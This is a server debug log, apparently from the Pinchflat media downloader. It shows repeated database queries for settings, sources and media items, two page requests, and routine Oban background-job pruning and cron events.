19:00:40.218 [debug] QUERY OK source="settings" db=1.0ms queue=0.1ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:00:40.219 [debug] QUERY OK source="settings" db=1.6ms queue=0.6ms idle=6.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:00:40.221 [debug] QUERY OK source="settings" db=2.0ms queue=0.2ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:00:40.224 [debug] QUERY OK source="settings" db=0.6ms idle=8.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:00:40.224 [info] Sent 200 in 17ms 19:00:40.228 [info] Sent 200 in 21ms 19:00:46.670 [info] {"source":"oban","duration":2410,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:01:00.969 [info] {"source":"oban","duration":999,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:01:16.672 [info] {"source":"oban","duration":1605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:01:28.792 [info] GET /sources/new 19:01:28.793 [debug] Processing with PinchflatWeb.Sources.SourceController.new/2 Parameters: %{"template_id" => "2"} Pipelines: [:browser] 19:01:28.793 [info] GET /sources/2/media/20944 19:01:28.794 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "20944", "source_id" => "2"} Pipelines: [:browser] 19:01:28.796 [debug] QUERY OK source="sources" db=1.0ms queue=0.5ms idle=695.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:01:28.797 [debug] QUERY OK source="media_items" db=1.5ms queue=0.3ms idle=696.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [20944] 19:01:28.801 [debug] QUERY OK source="sources" db=3.2ms idle=172.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:01:28.802 [debug] QUERY OK source="media_profiles" db=3.0ms idle=699.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 19:01:28.802 [debug] QUERY OK source="tasks" db=4.2ms queue=0.1ms idle=700.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [20944] 19:01:28.807 [debug] QUERY OK source="settings" db=4.3ms idle=7.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:01:28.809 [debug] QUERY OK source="settings" db=4.4ms queue=0.4ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:01:28.809 [debug] QUERY OK source="settings" db=1.1ms queue=0.3ms idle=7.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:01:28.811 [debug] QUERY OK source="settings" db=1.1ms idle=8.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:01:28.811 [debug] QUERY OK source="settings" db=0.4ms idle=7.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:01:28.813 [debug] QUERY OK source="settings" db=0.8ms idle=4.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:01:28.813 [debug] QUERY OK source="settings" db=1.0ms queue=0.3ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:01:28.817 [debug] QUERY OK source="settings" db=0.9ms queue=0.3ms idle=5.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:01:28.817 [debug] QUERY OK source="media_profiles" db=1.8ms queue=0.3ms idle=4.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:01:28.822 [info] Sent 200 in 29ms 19:01:29.208 [info] Sent 200 in 415ms 19:01:46.674 [info] {"source":"oban","duration":1352,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:02:00.970 [info] {"source":"oban","duration":421,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:02:16.678 [info] {"source":"oban","duration":3045,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:02:46.680 [info] {"source":"oban","duration":1716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:03:00.971 [info] {"source":"oban","duration":772,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:03:16.683 [info] {"source":"oban","duration":2053,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:03:46.688 [info] {"source":"oban","duration":4629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:04:00.973 [info] {"source":"oban","duration":502,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:04:16.691 [info] {"source":"oban","duration":1979,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:04:46.694 [info] {"source":"oban","duration":1928,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:05:00.975 [info] {"source":"oban","duration":1512,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:05:16.696 [info] {"source":"oban","duration":1604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:05:46.699 [info] {"source":"oban","duration":1670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:06:00.977 [info] {"source":"oban","duration":385,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:06:16.703 [info] {"source":"oban","duration":2153,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:06:46.706 [info] {"source":"oban","duration":2092,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:07:00.978 [info] {"source":"oban","duration":582,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:07:16.708 [info] {"source":"oban","duration":1563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:07:46.711 [info] {"source":"oban","duration":1970,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:08:00.981 [info] {"source":"oban","duration":1240,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:08:16.713 [info] {"source":"oban","duration":1646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:08:46.715 [info] {"source":"oban","duration":1813,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:09:00.982 [info] {"source":"oban","duration":495,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:09:16.718 [info] {"source":"oban","duration":1401,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:09:46.721 [info] {"source":"oban","duration":2750,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:10:00.983 [info] {"source":"oban","duration":561,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:10:16.724 [info] {"source":"oban","duration":2415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:10:46.727 [info] {"source":"oban","duration":2567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:11:00.984 [info] {"source":"oban","duration":540,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:11:16.729 [info] {"source":"oban","duration":1738,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:11:46.731 [info] {"source":"oban","duration":1428,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:12:00.986 [info] {"source":"oban","duration":478,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:12:16.734 [info] {"source":"oban","duration":2681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:12:46.737 [info] {"source":"oban","duration":1880,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:13:00.987 [info] {"source":"oban","duration":587,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:13:16.739 [info] {"source":"oban","duration":1771,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:13:46.742 [info] {"source":"oban","duration":2109,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:14:00.988 [info] {"source":"oban","duration":396,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:14:16.744 [info] {"source":"oban","duration":1599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:14:46.746 [info] {"source":"oban","duration":1225,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:15:00.989 [info] {"source":"oban","duration":627,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:15:16.748 [info] {"source":"oban","duration":1398,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:15:46.750 [info] {"source":"oban","duration":1673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:16:00.991 [info] {"source":"oban","duration":414,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:16:16.752 [info] {"source":"oban","duration":1288,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:16:46.754 [info] {"source":"oban","duration":1652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:17:00.992 [info] {"source":"oban","duration":375,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:17:16.756 [info] {"source":"oban","duration":1644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:17:46.758 [info] {"source":"oban","duration":1269,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:18:00.993 [info] {"source":"oban","duration":570,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:18:16.760 [info] {"source":"oban","duration":1620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:18:46.762 [info] {"source":"oban","duration":1152,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:19:00.994 [info] {"source":"oban","duration":546,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:19:16.764 [info] {"source":"oban","duration":1099,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:19:46.771 [info] {"source":"oban","duration":6003,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:20:00.995 [info] {"source":"oban","duration":441,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:20:16.773 [info] {"source":"oban","duration":1246,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:20:46.775 [info] {"source":"oban","duration":1178,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:21:00.996 [info] {"source":"oban","duration":502,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:21:16.777 [info] {"source":"oban","duration":1222,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:21:46.779 [info] {"source":"oban","duration":1425,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:22:00.997 [info] {"source":"oban","duration":412,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:22:16.781 [info] {"source":"oban","duration":1517,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:22:46.783 [info] {"source":"oban","duration":1404,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:23:00.998 [info] {"source":"oban","duration":450,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:23:16.785 [info] {"source":"oban","duration":1673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:23:46.787 [info] {"source":"oban","duration":1383,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:24:00.999 [info] {"source":"oban","duration":616,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:24:16.789 [info] {"source":"oban","duration":1523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:24:46.791 [info] {"source":"oban","duration":1477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:25:01.000 [info] {"source":"oban","duration":409,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:25:16.793 [info] {"source":"oban","duration":1157,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:25:46.795 [info] {"source":"oban","duration":1488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:26:00.001 [info] {"source":"oban","duration":529,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:26:16.797 [info] {"source":"oban","duration":1542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:26:46.799 [info] {"source":"oban","duration":1499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:27:00.002 [info] {"source":"oban","duration":379,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:27:16.801 [info] {"source":"oban","duration":1194,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:27:46.804 [info] {"source":"oban","duration":2008,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:28:00.003 [info] {"source":"oban","duration":388,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:28:16.806 [info] {"source":"oban","duration":1215,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:28:46.808 [info] {"source":"oban","duration":1234,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:29:00.004 [info] {"source":"oban","duration":507,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:29:16.810 [info] {"source":"oban","duration":1559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:29:46.812 [info] {"source":"oban","duration":1589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:30:00.005 [info] {"source":"oban","duration":420,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:30:16.814 [info] {"source":"oban","duration":1569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:30:46.816 [info] {"source":"oban","duration":1583,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:31:00.006 [info] {"source":"oban","duration":382,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:31:16.818 [info] {"source":"oban","duration":1332,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:31:46.820 [info] {"source":"oban","duration":1552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:32:00.007 [info] {"source":"oban","duration":406,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:32:16.822 [info] {"source":"oban","duration":1115,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:32:46.824 [info] {"source":"oban","duration":1569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:33:00.008 [info] {"source":"oban","duration":577,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:33:16.826 [info] {"source":"oban","duration":1514,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:33:46.828 [info] {"source":"oban","duration":1258,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:34:00.010 [info] {"source":"oban","duration":398,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:34:16.830 [info] {"source":"oban","duration":1522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:34:46.832 [info] {"source":"oban","duration":1336,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:35:00.012 [info] {"source":"oban","duration":796,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:35:16.834 [info] {"source":"oban","duration":1390,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:35:46.836 [info] {"source":"oban","duration":1407,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:36:00.014 [info] {"source":"oban","duration":1136,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:36:16.838 [info] {"source":"oban","duration":1376,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:36:46.840 [info] {"source":"oban","duration":1628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:37:00.015 [info] {"source":"oban","duration":406,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:37:16.847 [info] {"source":"oban","duration":6359,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:37:46.852 [info] {"source":"oban","duration":3444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:38:00.016 [info] {"source":"oban","duration":542,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:38:16.854 [info] {"source":"oban","duration":1624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:38:46.861 [info] {"source":"oban","duration":2748,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:39:00.017 [info] {"source":"oban","duration":539,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:39:16.864 [info] {"source":"oban","duration":1272,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:39:46.868 [info] {"source":"oban","duration":2967,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:40:00.018 [info] {"source":"oban","duration":418,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:40:16.872 [info] {"source":"oban","duration":3381,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:40:46.874 [info] {"source":"oban","duration":1604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:41:00.020 [info] {"source":"oban","duration":845,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:41:16.876 [info] {"source":"oban","duration":1651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:41:46.878 [info] {"source":"oban","duration":1380,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:42:00.021 [info] {"source":"oban","duration":546,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:42:16.882 [info] {"source":"oban","duration":3034,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:42:46.884 [info] {"source":"oban","duration":1633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:43:00.022 [info] {"source":"oban","duration":367,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:43:16.886 [info] {"source":"oban","duration":1614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:43:46.888 [info] {"source":"oban","duration":1616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:44:00.023 [info] {"source":"oban","duration":530,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:44:16.890 [info] {"source":"oban","duration":1849,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:44:46.893 [info] {"source":"oban","duration":1695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:45:00.024 [info] {"source":"oban","duration":539,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:45:16.895 [info] {"source":"oban","duration":1259,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:45:46.897 [info] {"source":"oban","duration":993,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:46:00.025 [info] {"source":"oban","duration":456,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:46:16.899 [info] {"source":"oban","duration":1399,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:46:46.901 [info] {"source":"oban","duration":1403,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:47:00.026 [info] {"source":"oban","duration":422,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:47:16.903 [info] {"source":"oban","duration":1255,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:47:46.905 [info] {"source":"oban","duration":1317,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:48:00.027 [info] {"source":"oban","duration":388,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:48:16.907 [info] {"source":"oban","duration":1196,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:48:46.909 [info] {"source":"oban","duration":1729,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:49:00.028 [info] {"source":"oban","duration":428,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:49:16.911 [info] {"source":"oban","duration":1679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:49:46.913 [info] {"source":"oban","duration":1551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:50:00.029 [info] {"source":"oban","duration":393,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:50:16.915 [info] {"source":"oban","duration":1218,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:50:46.917 [info] {"source":"oban","duration":1571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:51:00.030 [info] {"source":"oban","duration":385,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:51:16.919 [info] {"source":"oban","duration":1529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:51:46.921 [info] {"source":"oban","duration":1197,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:52:00.031 [info] {"source":"oban","duration":365,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:52:16.923 [info] {"source":"oban","duration":1018,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:52:46.925 [info] {"source":"oban","duration":1203,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:53:00.032 [info] {"source":"oban","duration":397,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:53:16.927 [info] {"source":"oban","duration":1490,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:53:46.929 [info] {"source":"oban","duration":1747,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:54:00.033 [info] {"source":"oban","duration":508,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:54:16.932 [info] {"source":"oban","duration":1611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:54:46.934 [info] {"source":"oban","duration":1598,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:55:00.034 [info] {"source":"oban","duration":417,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:55:16.936 [info] 